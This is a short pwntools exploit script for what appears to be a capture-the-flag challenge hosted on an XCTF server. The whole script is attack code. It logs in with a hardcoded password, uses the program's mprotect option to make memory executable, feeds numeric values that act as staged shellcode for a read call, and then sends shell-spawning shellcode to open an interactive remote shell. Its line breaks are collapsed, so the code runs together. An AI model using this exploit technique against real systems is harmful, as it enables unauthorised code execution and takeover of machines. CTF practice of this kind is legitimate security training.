defpayload(lo:int): global sh if lo: sh = process(EXE) if lo & 2: gdb.attach(sh, 'b *0x804a209\nc') else: sh = remote('pwn-89e38f258e.challenge.xctf.org.cn', 9999, ssl=True) elf = ELF(EXE)
# login first sh.sendlineafter(b'@@', b'1') sh.sendlineafter(b'username', b'user') sh.sendlineafter(b'password', b'ozrrvnqc')
# mprotect to make bss executable sh.sendlineafter(b'@@', b'6')
# read(0, 0x8105300, 0x50) nums = [0x7B33AA88 // 4, # push eax; push 0x3; dec ebx 0xC363B208 // 4, # pop eax; push 0x50; dec ebx 0xD073C400 // 4, # pop edx; pop ecx; pop esi; dec ebx 0x7863B7A8 // 4, # pop esi; push 0; dec ebx 0xF1810A00 // 4, # pop ebx; int 0x80; dec ebx 0] # exit number input for num in nums: sh.sendline(str(num).encode()) sleep(0.5) # wait for shellcode read sh.sendline(b'0'*19 + asm(shellcraft.sh())) sh.clean() sh.interactive()